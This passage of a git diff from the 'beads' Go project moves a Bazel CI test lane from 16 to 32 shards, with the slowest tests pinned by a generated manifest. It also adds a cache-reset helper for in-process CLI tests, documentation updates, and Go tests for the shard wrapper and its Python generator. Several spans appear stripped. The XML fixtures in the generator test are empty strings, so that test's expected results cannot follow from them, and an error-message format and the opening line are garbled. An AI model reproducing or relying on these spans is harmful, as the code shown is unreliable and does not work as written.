4-CPU runner: the compile hits + # of 32 shards (~1 minute: tools/bazel/go_test_pinned_shard.sh pins + # the slowest tests to shards of their own; each shard pays a few + # seconds of TestMain and its own dolt sql-server; Go's + # -test.timeout=19m, Bazel's 1200s cap). Mode cache on a 4-CPU runner: the compile hits # the read-only cache, and a PR that changes cmd/bd or what it imports # runs every shard locally, four at a time (~2,200 test-seconds # measured unloaded, slower four-up: ~20-30 minutes); with the cache diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index f220e60a9..a38bc8bd7 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1563,10 +1563,16 @@ sh_test( # instead of skipping every Dolt-gated test into a cached pass. These are # the cmd/bd tests no other lane runs: every other configuration of bd_test # passes BEADS_TEST_SKIP=dolt (prcore/ci, integration) or runs only its -# manifest (bd_embedded_test, bd_proxied_test). No -test.run/-test.skip: the Go binary shards -# itself over every top-level test (rules_go's TEST_SHARD_INDEX), so each -# runs in exactly one shard, and check_testcases.py fails a shard that ran -# none. It repeats bd_test's `env` (the wrapper cannot inherit it). +# manifest (bd_embedded_test, bd_proxied_test). Shards 1-16 each run the +# slowest tests dolt_server_pinned_shards.txt pins to them (duration-balanced +# by tools/bazel/pin_shards.py); shards 17-32 are the Go binary's own +# round-robin shards (rules_go's TEST_SHARD_INDEX) over every other top-level +# test, a test added since the manifest was written included +# (tools/bazel/go_test_pinned_shard.sh). So each test runs in exactly one +# shard, and check_testcases.py fails a shard that ran none. Round-robin +# alone left the slowest of 16 shards at 2-3x the median (TestSharedServerConcurrent, +# the TestInit* family). It repeats bd_test's `env` (the wrapper cannot +# inherit it). # # Tags: # dolt-server-cmd: the cmd/bd Dolt-server tier; starts hermetic dolt @@ -1580,11 +1586,15 @@ sh_test( # dump) before Bazel's 1200s action limit (eternal under the lane's # --test_timeout), which kills without one. timeout = "eternal", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :bd_test)"], + srcs = ["//tools/bazel:go_test_pinned_shard.sh"], + args = [ + "$(rootpath :dolt_server_pinned_shards.txt)", + "$(rootpath :bd_test)", + ], data = [ ":bd_for_tests", ":bd_test", + ":dolt_server_pinned_shards.txt", ":preflight_go_fixture", "@go_sdk//:bin/gofmt", ], @@ -1607,7 +1617,7 @@ sh_test( # against the one shared server. "GOMAXPROCS": "4", }, - shard_count = 16, + shard_count = 32, tags = ["dolt-server-cmd"], ) diff --git a/cmd/bd/cli_fast_test.go b/cmd/bd/cli_fast_test.go index 47c82ced1..096a64afd 100644 --- a/cmd/bd/cli_fast_test.go +++ b/cmd/bd/cli_fast_test.go @@ -15,6 +15,8 @@ import ( "testing" "time" + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/testutil/bazeltest" "github.com/steveyegge/beads/internal/testutil/credentialcmd" ) @@ -151,6 +153,17 @@ func createTempDirWithCleanup(t *testing.T) string { // TestMain having installed it). func restoreEnvSnapshot(before []string) { restoreProcessEnv(before) } +// resetInProcessDiscovery drops the workspace discovery an earlier in-process +// execution cached (beads' RepoContext, git's repository context), so each +// one resolves its .beads from its own working directory as a bd process +// would. Without it TestCLI_Import, run as the binary's first test, ran +// `bd init` in a fresh directory against the .beads it had just exported +// from ("Found existing Dolt database"). +func resetInProcessDiscovery() { + beads.ResetCaches() + git.ResetCaches() +} + // runBDInProcess runs bd commands in-process by calling rootCmd.Execute // This is ~10-20x faster than exec.Command because it avoids process spawn overhead func runBDInProcess(t *testing.T, dir string, args ...string) string { @@ -171,6 +184,7 @@ func runBDInProcess(t *testing.T, dir string, args ...string) string { if err := os.Chdir(dir); err != nil { t.Fatalf("Failed to chdir to %s: %v", dir, err) } + resetInProcessDiscovery() // Capture stdout/stderr rOut, wOut, _ := os.Pipe() @@ -1235,6 +1249,7 @@ func runBDInProcessAllowError(t *testing.T, dir string, args ...string) (string, if err := os.Chdir(dir); err != nil { t.Fatalf("Failed to chdir to %s: %v", dir, err) } + resetInProcessDiscovery() rOut, wOut, _ := os.Pipe() rErr, wErr, _ := os.Pipe() diff --git a/cmd/bd/dolt_server_pinned_shards.txt b/cmd/bd/dolt_server_pinned_shards.txt new file mode 100644 index 000000000..d7ab46c5b --- /dev/null +++ b/cmd/bd/dolt_server_pinned_shards.txt @@ -0,0 +1,103 @@ +# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by +# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage). +# +# Every top-level test measured at >= 5s, bin-packed +# longest-first onto these shards; every other test runs in the +# binary's own round-robin shards. Measured seconds per pinned shard: +# 59 60 59 62 59 59 58 57 57 57 62 62 57 57 57 62 +# Unpinned tests: 3322, 570s in total. +# +# +1 TestCLI_NoteAddMisplacedSyntax +1 TestSharedServerConcurrent +2 TestAcquireInitMutationGateWaitsPastGenericBudget +2 TestCLI_ReparentDottedIDExcludesOldParent +2 TestContributorRoutingDaemon +2 TestMultiIDUpdatePartialFailureJSONReportsFailedIDs +2 TestRoutingWithAllOperationalModes +3 TestADORoundTripLossyPriority +3 TestCLI_UpdateEphemeral +3 TestDetermineAutoRoutedRepoPath_DefaultFallback +3 TestDirectTrackerConformance +3 TestGetNotionConfigReadsDBPathWhenStoreUnset +4 TestBareParentWorktreeCoreCommandsWithoutRedirect +4 TestCLI_Blocked +4 TestDoltAutoCommit_Batch_DefersCommit +4 TestE2E_DoctorFixMetadataRoundtrip +4 TestE2E_MigrateDoltMetadata +4 TestInitDatabaseFlag +5 TestADORoundTripLabels +5 TestBackwardCompatContributorConfig +5 TestContributorRoutingSyncBranch +5 TestEmbeddedChangeDirOverridesInheritedBeadsDir +5 TestImportBlockedDuringMigrationFreeze +5 TestResolveCloseTargets +6 TestADORoundTripBlockedStatus +6 TestCLI_CommentsAddReservedWordRejectedThroughCobraDispatch +6 TestCLI_UpdateEphemeralMutualExclusion +6 TestDepRoutedTargetOpensReadOnly +6 TestE2E_AutoStartedRepoLocalServerPersistsAcrossCommands +6 TestInitCommand +7 TestAutoExportSkipsWhenExistingJSONLHasIDsMissingFromStore +7 TestCLI_CreateRejectsFlagLikeTitles +7 TestContributorRoutingTracer +7 TestGlobalDBIdentityCheck +7 TestMultiIDUpdateAllGoodPathUnchanged +7 TestSharedServerDeleteIfRevisionSingleWinner +8 TestCLI_Import_GlobalModeIgnoresProjectConfigYAMLPrefix +8 TestCLI_Update +8 TestCreateDepsAtomicity +8 TestDoctorPathArgMaintenanceSkippedByTargetFreeze +8 TestOpenRoutedReadStore_ContributorRouting +8 TestPrimeBinaryPortfolio +9 TestCLI_CommentAbbreviatedIDRejectedWithTruthfulMessage +9 TestContributorRoutingDirect +9 TestDoltRemoteAddPersistsSyncRemoteToSharedWorktreeConfig +9 TestInitNonInteractiveAlwaysSetsRole +9 TestServeAnswersFromARegisteredBackendStore +9 TestSharedServerVersionBumpDoesNotPromoteCursor +10 TestAutoMigrateSkippedDuringMigrationFreeze +10 TestCLI_Import +10 TestCLI_NoteListMisplacedSyntax +10 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget +10 TestResolveAndGetIssueForMutationExactSurfacesRoutedAbbreviationRefusal +10 TestSharedServerIfRevisionSingleWinner +11 TestBEADS_DIRPrecedence +11 TestDoctorCheckHealthReportsVersionMismatchOnRepoLocalPort +11 TestDoctorPathArgBlockedByTargetFreeze +11 TestInitBackendFlag +11 TestInitContributorSetsBeadsRoleContributor +11 TestInit_WithBEADS_DIR_DoltBackend +11 TestTemplateSuite +12 TestCLI_Labels +12 TestCLI_NoteCommand +12 TestCLI_Show_SupersedesIsNotABlocker +12 TestCheckBeadGateCrossRigPrefixRoute +12 TestInitIfMissing +12 TestInitMetricsEmittedPerDoltMode +12 TestReadonlyShowPreservesLastTouched +13 TestCLI_DepRemove +13 TestCLI_UpdateAppendNotes +13 TestDepListCrossRigRouting +13 TestExplicitRepoOverride +13 TestInitIfMissingMatchingPrefixSkips +13 TestMultiIDUpdatePartialFailureExitsNonzero +14 TestCLI_CommentsAddShortID +14 TestCLI_DepTree +14 TestContributorPlanningGitIgnoresInheritedRouting +14 TestContributorRoutingLocalOnly +14 TestMaintainerRoutingUnaffected +14 TestWhereCommand_ReadsPrefixFromEmbeddedStore +15 TestADORoundTripCoreFields +15 TestBdMolPour_NeedsAndWaitsForSameTarget_SpawnerOpenBlocksWaiter +15 TestCLI_CreateDryRun +15 TestCLI_PriorityFormats +15 TestInitBEADS_DIR +15 TestInitPromptNonGitRepo +16 TestBdMolBond_ResolvesPlainFormulaName +16 TestCLI_UpdateLabels +16 TestCLI_UpdatePersistent +16 TestContributorRoutingNoDb +16 TestInitDoltMetadata +16 TestInitMetricsEnvConfigPrecedence +16 TestInitPromptExistingRole diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 09ebaa67f..a9f34e510 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1274,7 +1274,7 @@ lane runs `//internal/storage/dolt:dolt_server_full_test` (16 shards) and ### Regression Tests `regression.yml` is retired. The suite runs as -`//tests/regression:regression_test` (8 shards) in `bazel.yml`'s +`//tests/regression:regression_test` (14 shards) in `bazel.yml`'s `bazel-cmd-dolt` lane, which `pr.yml`'s `CI Gate / Required` requires (`BAZEL_CMD_DOLT_REQUIRED`), so regression is now part of the aggregate gate on PRs and merge groups instead of a separate, path-detected advisory diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 202b0dd33..1f32213fd 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -199,7 +199,7 @@ Key jobs preserved by display name: | Workflow | Triggers | Main validation | |---|---|---| -| `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | +| `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (14 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | | `bazel.yml` `bazel-test` (formerly `cross-version-smoke.yml`) | PR, merge group, push to `main` | `//tests/upgrade_smoke:upgrade_smoke__test` for the newest 30 catalog-pinned releases, via `scripts/upgrade-smoke-test.sh` with `PREV_BIN`; cached until their inputs change. | | `bazel.yml` `bazel-test` (formerly `migration-test.yml`) | PR, merge group, push to `main` | `//tests/migration:historical_upgrade__test`, one target per reviewed release (14, v0.9.1 source-built offline) plus `legacy_bridge_test`, against catalog-pinned release binaries; cached until their inputs change. Local entrypoint stays `scripts/migration-test/run.sh`. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 9adaed89f..41efd4955 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -40,7 +40,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | Release cross-compile (`bazel-release-cross`) | `./scripts/ci/bazel-release-cross-compile.sh` | Every `go_library`/`go_binary` for each row of `scripts/ci/release-targets.txt`, cgo off, with nogo. | | Integration (`bazel-integration`) | `bazel test //... --config=integration` | The `integration`-tagged build. Runs with the read-only cache too. | | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | -| cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 16 shards of the integration-tagged cmd/bd suite. | +| cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | | Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | | Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 30 shards, each with a Dolt server. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | @@ -193,8 +193,13 @@ advisory `bazel-cmd-dolt` job) runs the whole integration-tagged cmd/bd suite on the `local` backend: the Dolt-gated cmd/bd tests (`TestCLI_*`, the init and store-backed suites) that every other lane skips with `BEADS_TEST_SKIP=dolt` or leaves out of its manifest. It shares -`--config=integration`'s build, passes the binary no test selection (the Go -binary shards itself over every top-level test, 16 shards), and runs where +`--config=integration`'s build and runs it in 32 shards: 16 run the slowest +tests `cmd/bd/dolt_server_pinned_shards.txt` pins to them, and 16 are the Go +binary's own round-robin shards over every other top-level test +(`tools/bazel/go_test_pinned_shard.sh`; `//tests/regression:regression_test` +splits the same way). After a change that moves test durations, regenerate the +manifest from a run of the lane with `tools/bazel/pin_shards.py` (see its +usage); a stale manifest only costs balance, never coverage. It runs where the integration lane runs (remote, or with the read-only cache). pr.yml's gate requires it once `BAZEL_CMD_DOLT_REQUIRED` is `"true"`; pr.yml then also passes bazel.yml `cmd-dolt-required: true`, and the PR's diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 92a065548..ef89f2709 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -53,6 +53,8 @@ go_test( "makefile_bazel_primary_test.go", "migration_corpus_bazel_test.go", "nogo_lint_policy_test.go", + "pinned_shards_helpers_test.go", + "pinned_shards_test.go", "pr_lanes_bazel_coverage_test.go", "pr_risk_bazel_coverage_test.go", "rbe_worker_env_test.go", @@ -131,6 +133,8 @@ go_test( "embedded_shard_count_test.go", "host_tools_test.go", "managed_local_lane_test.go", + "pinned_shards_helpers_test.go", + "pinned_shards_sources_test.go", "repo_helpers_test.go", "scripts_targets_test.go", "shard_manifest_test.go", @@ -157,6 +161,7 @@ go_test( "//cmd/bd:repo_other_files", "//internal/storage/dolt:repo_other_files", "//internal/storage/embeddeddolt:repo_other_files", + "//tests/regression:repo_other_files", "//tools/bazel:check_shard_coverage.py", "//tools/bazel:equivalence_allowlist.txt", ], diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index eb75ab320..174e8255e 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -5801,9 +5801,11 @@ func btoi(b bool) int { // whole integration-tagged cmd/bd suite against a hermetic dolt sql-server, // because every other lane, Bazel or go test, runs cmd/bd with // BEADS_TEST_SKIP=dolt or only a manifest's tests, so its Dolt-gated tests -// ran nowhere. Coverage is exact by construction: the target passes the -// binary no test selection, the Go binary shards itself over every -// top-level test, and check_testcases.py fails a shard that ran none. +// ran nowhere. Coverage is exact by construction: the target's only test +// selection is go_test_pinned_shard.sh's, whose round-robin shards skip +// exactly the tests its pinned shards run (TestPinnedShardWrapperSplit, +// TestPinnedShardManifests), and check_testcases.py fails a shard that ran +// none. func TestBazelCmdDoltJob(t *testing.T) { const config, target = "doltserver-cmd", "bd_dolt_server_test" workflow := readCIWorkflow(t, bazelWorkflowName) @@ -5881,8 +5883,8 @@ func TestBazelCmdDoltJob(t *testing.T) { t.Error(err) } for _, want := range []string{ - `srcs = ["//tools/bazel:go_test_variant.sh"]`, - `args = ["$(rootpath :bd_test)"]`, + `srcs = ["//tools/bazel:go_test_pinned_shard.sh"]`, + "args = [\n \"$(rootpath :dolt_server_pinned_shards.txt)\",\n \"$(rootpath :bd_test)\",\n ]", `tags = ["dolt-server-cmd"]`, `"GOMAXPROCS": "4"`, `"BEADS_TEST_GIT_IDENTITY": "1"`, @@ -5891,12 +5893,14 @@ func TestBazelCmdDoltJob(t *testing.T) { t.Errorf("%s lacks %s", target, want) } } - // 16 shards: each pays ~30-40 s of fixed cost (TestMain, its own dolt - // sql-server), so more shards mostly add farm actions; with the suite's - // long pole gone the slowest of 16 stays within bazel-integration's - // critical path. Change it together with bazel.yml's comment. - if m := regexp.MustCompile(`shard_count = (\d+)`).FindStringSubmatch(rule); m == nil || m[1] != "16" { - t.Errorf("%s shard_count = %v, want 16", target, m) + // 32 shards: 16 that run the slowest tests the manifest pins to them + // and 16 round-robin shards over the rest. Measured, a shard's fixed + // cost (TestMain, its own dolt sql-server) is a few seconds; the wall + // time is the serial sum of its tests, which round-robin alone left at + // 2-3x the median on the shard that drew the long tests. Change it + // together with bazel.yml's comment. + if m := regexp.MustCompile(`shard_count = (\d+)`).FindStringSubmatch(rule); m == nil || m[1] != "32" { + t.Errorf("%s shard_count = %v, want 32", target, m) } envKey := regexp.MustCompile(`"(BEADS_TEST_[A-Z_]+)": "\$\(rlocationpath [^)]+\)"`) for _, m := range envKey.FindAllStringSubmatch(bdTest, -1) { diff --git a/scripts/pinned_shards_helpers_test.go b/scripts/pinned_shards_helpers_test.go new file mode 100644 index 000000000..862fcd0b4 --- /dev/null +++ b/scripts/pinned_shards_helpers_test.go @@ -0,0 +1,65 @@ +package scripts_test + +// Helpers for the pinned-shard tests, shared by scripts_test +// (pinned_shards_test.go) and go_test_sources_test +// (pinned_shards_sources_test.go). + +import ( + "regexp" + "strconv" + "strings" + "testing" +) + +// pinnedShardWrapper is the sh_test src that pins slow tests to shards. +const pinnedShardWrapper = "tools/bazel/go_test_pinned_shard.sh" + +// pinnedShardTargets are the sh_tests that run a go_test binary through +// tools/bazel/go_test_pinned_shard.sh: the BUILD file, the rule, its +// manifest, and the directory holding the go_test's sources. +var pinnedShardTargets = []struct { + build, rule, manifest, pkg string +}{ + {"cmd/bd/BUILD.bazel", "bd_dolt_server_test", "cmd/bd/dolt_server_pinned_shards.txt", "cmd/bd"}, + {"tests/regression/BUILD.bazel", "regression_test", "tests/regression/pinned_shards.txt", "tests/regression"}, +} + +var pinnedLineRe = regexp.MustCompile(`^([1-9][0-9]*) (Test[A-Za-z0-9_]*)$`) + +// readPinnedShardManifest parses a pinned-shard manifest the way +// go_test_pinned_shard.sh does, reporting malformed lines, duplicate names +// and empty shards, and returns the pinned names and the pinned shard count. +func readPinnedShardManifest(t *testing.T, root, manifest string) (map[string]int, int) { + t.Helper() + pinned := map[string]int{} + shards := map[int]int{} + maxShard := 0 + for i, line := range strings.Split(readPolicyFile(t, root, manifest), "\n") { + line, _, _ = strings.Cut(line, "#") + line = strings.TrimSpace(line) + if line == "" { + continue + } + m := pinnedLineRe.FindStringSubmatch(line) + if m == nil { + t.Errorf("%s:%d: %q is not \" \"", manifest, i+1, line) + continue + } + shard, _ := strconv.Atoi(m[1]) + if _, dup := pinned[m[2]]; dup { + t.Errorf("%s: %s pinned twice", manifest, m[2]) + } + pinned[m[2]] = shard + shards[shard]++ + maxShard = max(maxShard, shard) + } + for s := 1; s <= maxShard; s++ { + if shards[s] == 0 { + t.Errorf("%s: pinned shard %d is empty", manifest, s) + } + } + if maxShard == 0 { + t.Errorf("%s pins nothing", manifest) + } + return pinned, maxShard +} diff --git a/scripts/pinned_shards_sources_test.go b/scripts/pinned_shards_sources_test.go new file mode 100644 index 000000000..fea3b49e0 --- /dev/null +++ b/scripts/pinned_shards_sources_test.go @@ -0,0 +1,48 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "regexp" + "sort" + "testing" +) + +var goTopLevelTestRe = regexp.MustCompile(`(?m)^func (Test[A-Za-z0-9_]*)\(t \*testing\.T\) \{`) + +// Every name a pinned-shard manifest pins is a top-level test of the +// target's package: a stale name runs nowhere, and a renamed test silently +// falls back to the round-robin shards (regenerate with +// tools/bazel/pin_shards.py). +func TestPinnedShardManifestNamesAreTests(t *testing.T) { + root := sourceRepoRoot(t) + for _, tgt := range pinnedShardTargets { + t.Run(tgt.rule, func(t *testing.T) { + tests := map[string]bool{} + srcs, err := filepath.Glob(filepath.Join(root, tgt.pkg, "*_test.go")) + if err != nil || len(srcs) == 0 { + t.Fatalf("no *_test.go in %s: %v", tgt.pkg, err) + } + for _, src := range srcs { + b, err := os.ReadFile(src) + if err != nil { + t.Fatal(err) + } + for _, m := range goTopLevelTestRe.FindAllStringSubmatch(string(b), -1) { + tests[m[1]] = true + } + } + pinned, _ := readPinnedShardManifest(t, root, tgt.manifest) + var stale []string + for name := range pinned { + if !tests[name] { + stale = append(stale, name) + } + } + sort.Strings(stale) + for _, name := range stale { + t.Errorf("%s pins %s, which is not a top-level test in %s/*_test.go; regenerate it (tools/bazel/pin_shards.py)", tgt.manifest, name, tgt.pkg) + } + }) + } +} diff --git a/scripts/pinned_shards_test.go b/scripts/pinned_shards_test.go new file mode 100644 index 000000000..ff95e9f3f --- /dev/null +++ b/scripts/pinned_shards_test.go @@ -0,0 +1,268 @@ +package scripts_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "testing" +) + +// fakeTestBinary writes a stand-in for a go_test binary that prints its +// arguments and the sharding environment it was started with. +func fakeTestBinary(t *testing.T, dir string) { + t.Helper() + script := `#!/usr/bin/env bash +echo "args=$*" +echo "total=${TEST_TOTAL_SHARDS-unset} index=${TEST_SHARD_INDEX-unset} status=${TEST_SHARD_STATUS_FILE-unset} fromBazel=${GO_TEST_RUN_FROM_BAZEL-unset}" +` + if err := os.WriteFile(filepath.Join(dir, "bin"), []byte(script), 0o755); err != nil { + t.Fatal(err) + } +} + +func runPinnedShard(t *testing.T, dir, manifest string, env ...string) (string, error) { + t.Helper() + wrapper := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "go_test_pinned_shard.sh") + if err := os.WriteFile(filepath.Join(dir, "manifest.txt"), []byte(manifest), 0o644); err != nil { + t.Fatal(err) + } + cmd := exec.Command(requireHostTool(t, "bash"), wrapper, "manifest.txt", "bin", "-test.parallel=4") + cmd.Dir = dir + cmd.Env = append([]string{"PATH=" + os.Getenv("PATH")}, env...) + out, err := cmd.CombinedOutput() + return string(out), err +} + +// The wrapper's split: pinned shards run exactly their tests with the +// binary's own sharding off; the rest are the binary's round-robin shards +// minus every pinned test; unsharded runs everything. Every test runs in +// exactly one shard because the skip set is the union of the run sets. +func TestPinnedShardWrapperSplit(t *testing.T) { + const manifest = `# comment +1 TestSlow # trailing comment +2 TestB +2 TestA + +` + status := filepath.Join(t.TempDir(), "status") + cases := []struct { + name string + env []string + want []string + }{ + {"unsharded", nil, []string{ + "args=-test.parallel=4\n", + "total=unset index=unset status=unset fromBazel=1\n", + }}, + {"pinned shard 1", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=0", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.run=^(TestSlow)$ -test.parallel=4\n", + "total=unset index=unset status=unset fromBazel=1\n", + }}, + {"pinned shard 2", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=1", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.run=^(TestB|TestA)$ -test.parallel=4\n", + "total=unset index=unset", + }}, + {"first round-robin shard", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=2", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.skip=^(TestSlow|TestB|TestA)$ -test.parallel=4\n", + "total=3 index=0 status=" + status + " fromBazel=1\n", + }}, + {"last round-robin shard", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=4", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.skip=^(TestSlow|TestB|TestA)$ -test.parallel=4\n", + "total=3 index=2 ", + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + fakeTestBinary(t, dir) + _ = os.Remove(status) + out, err := runPinnedShard(t, dir, manifest, tc.env...) + if err != nil { + t.Fatalf("wrapper failed: %v\n%s", err, out) + } + for _, w := range tc.want { + if !strings.Contains(out, w) { + t.Errorf("output lacks %q:\n%s", w, out) + } + } + if len(tc.env) > 0 { + if _, err := os.Stat(status); err != nil { + t.Errorf("TEST_SHARD_STATUS_FILE not touched: %v", err) + } + } + }) + } +} + +func TestPinnedShardWrapperRejectsBadManifests(t *testing.T) { + cases := map[string]string{ + "gap in shard numbers": "1 TestA\n3 TestB\n", + "test pinned twice": "1 TestA\n2 TestA\n", + "not a test name": "1 BenchmarkA\n", + "regex in name": "1 TestA.*\n", + "extra field": "1 TestA TestB\n", + "shard zero": "0 TestA\n", + "no pinned shards": "# empty\n", + "no round-robin shards left": "1 TestA\n2 TestB\n3 TestC\n4 TestD\n5 TestE\n", + "more pinned than Bazel runs": "1 TestA\n2 TestB\n3 TestC\n4 TestD\n5 TestE\n6 TestF\n", + } + for name, manifest := range cases { + t.Run(name, func(t *testing.T) { + dir := t.TempDir() + fakeTestBinary(t, dir) + out, err := runPinnedShard(t, dir, manifest, "TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=0") + if err == nil { + t.Fatalf("wrapper accepted manifest %q:\n%s", manifest, out) + } + if strings.Contains(out, "args=") { + t.Errorf("wrapper ran the binary despite a bad manifest:\n%s", out) + } + }) + } +} + +// The committed manifests are well formed and each target is wired to its +// manifest with round-robin shards left over. (That every pinned name is a +// test of the package: TestPinnedShardManifestNamesAreTests.) +func TestPinnedShardManifests(t *testing.T) { + root := sourceRepoRoot(t) + for _, tgt := range pinnedShardTargets { + t.Run(tgt.rule, func(t *testing.T) { + _, maxShard := readPinnedShardManifest(t, root, tgt.manifest) + rule := bazelRuleBlock(readPolicyFile(t, root, tgt.build), tgt.rule) + if rule == "" { + t.Fatalf("%s has no rule %s", tgt.build, tgt.rule) + } + base := filepath.Base(tgt.manifest) + for _, want := range []string{ + `srcs = ["//tools/bazel:go_test_pinned_shard.sh"]`, + `"$(rootpath :` + base + `)",`, + } { + if !strings.Contains(rule, want) { + t.Errorf("%s lacks %s", tgt.rule, want) + } + } + m := shardCountPattern.FindStringSubmatch(rule) + if m == nil { + t.Fatalf("%s has no shard_count", tgt.rule) + } + if n, _ := strconv.Atoi(m[1]); n <= maxShard { + t.Errorf("%s shard_count = %d, but %s pins %d shards; round-robin shards must remain for the other tests", tgt.rule, n, tgt.manifest, maxShard) + } + }) + } +} + +// pin_shards.py bin-packs every test at or above the threshold longest +// first, keeps the round-robin tests out, and takes the slowest of several +// runs. +func TestPinShardsGenerator(t *testing.T) { + root := sourceRepoRoot(t) + python := requireHostTool(t, "python3") + logs := t.TempDir() + write := func(run, shard, body string) { + dir := filepath.Join(logs, run, shard) + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + xml := `` + body + `` + if err := os.WriteFile(filepath.Join(dir, "test.xml"), []byte(xml), 0o644); err != nil { + t.Fatal(err) + } + } + write("a", "shard_1_of_2", ``) + write("a", "shard_2_of_2", ``) + write("b", "shard_1_of_1", ``) + + out := filepath.Join(t.TempDir(), "pinned.txt") + cmd := exec.Command(python, filepath.Join(root, "tools", "bazel", "pin_shards.py"), + "--shards", "2", "--min-seconds", "5", "--write", out, filepath.Join(logs, "a"), filepath.Join(logs, "b")) + if b, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("pin_shards.py: %v\n%s", err, b) + } + b, err := os.ReadFile(out) + if err != nil { + t.Fatal(err) + } + var got []string + for _, line := range strings.Split(string(b), "\n") { + if line != "" && !strings.HasPrefix(line, "#") { + got = append(got, line) + } + } + // LPT: A(50)->1, B(30)->2, D(28, the slower run)->2, C(25)->1. + want := []string{"1 TestA", "1 TestC", "2 TestB", "2 TestD"} + if strings.Join(got, ";") != strings.Join(want, ";") { + t.Errorf("manifest = %q, want %q", got, want) + } + if !strings.Contains(string(b), "# 75 58\n") { + t.Errorf("manifest header lacks per-shard totals 75 58:\n%s", b) + } + + cmd = exec.Command(python, filepath.Join(root, "tools", "bazel", "pin_shards.py"), + "--shards", "5", "--min-seconds", "5", filepath.Join(logs, "a")) + if b, err := cmd.CombinedOutput(); err == nil { + t.Errorf("pin_shards.py accepted 5 shards for 4 slow tests:\n%s", b) + } +} + +// pinnedShardWrapperUsers returns an error for every BUILD rule that runs +// through go_test_pinned_shard.sh other than pinnedShardTargets, and for any +// of those tagged for another lane than the cmd/bd Dolt-server tier: the +// wrapper selects and skips tests, which the retired tiers' lanes forbid +// (TestBazelRetiredLanesCannotBeNarrowed). +func pinnedShardWrapperUsers(t *testing.T, root string) []string { + t.Helper() + allowed := map[string]bool{} + for _, tgt := range pinnedShardTargets { + allowed[tgt.build+":"+tgt.rule] = true + } + const label = "//tools/bazel:go_test_pinned_shard.sh" + var errs []string + seen := 0 + for _, f := range repoFiles(t, root, 300) { + if filepath.Base(f) != "BUILD.bazel" { + continue + } + build := readPolicyFile(t, root, f) + if !strings.Contains(build, "go_test_pinned_shard.sh") { + continue + } + for _, rule := range bazelTopRules(stripStarlarkComments(build)) { + if !strings.Contains(rule, "go_test_pinned_shard.sh") { + continue + } + name := "" + if m := bazelRuleNameRe.FindStringSubmatch(rule); m != nil { + name = m[1] + } + if !strings.Contains(rule, `srcs = ["`+label+`"]`) { + if f == "tools/bazel/BUILD.bazel" && strings.HasPrefix(rule, "exports_files(") { + continue + } + errs = append(errs, f+": rule "+name+" references go_test_pinned_shard.sh other than as its sh_test src "+label) + continue + } + seen++ + if !allowed[f+":"+name] { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+"; add it to pinnedShardTargets after reviewing that it is not a retired tier's lane") + } + if !strings.Contains(rule, `tags = ["dolt-server-cmd"]`) { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+" but is not tagged exactly dolt-server-cmd") + } + } + } + if seen != 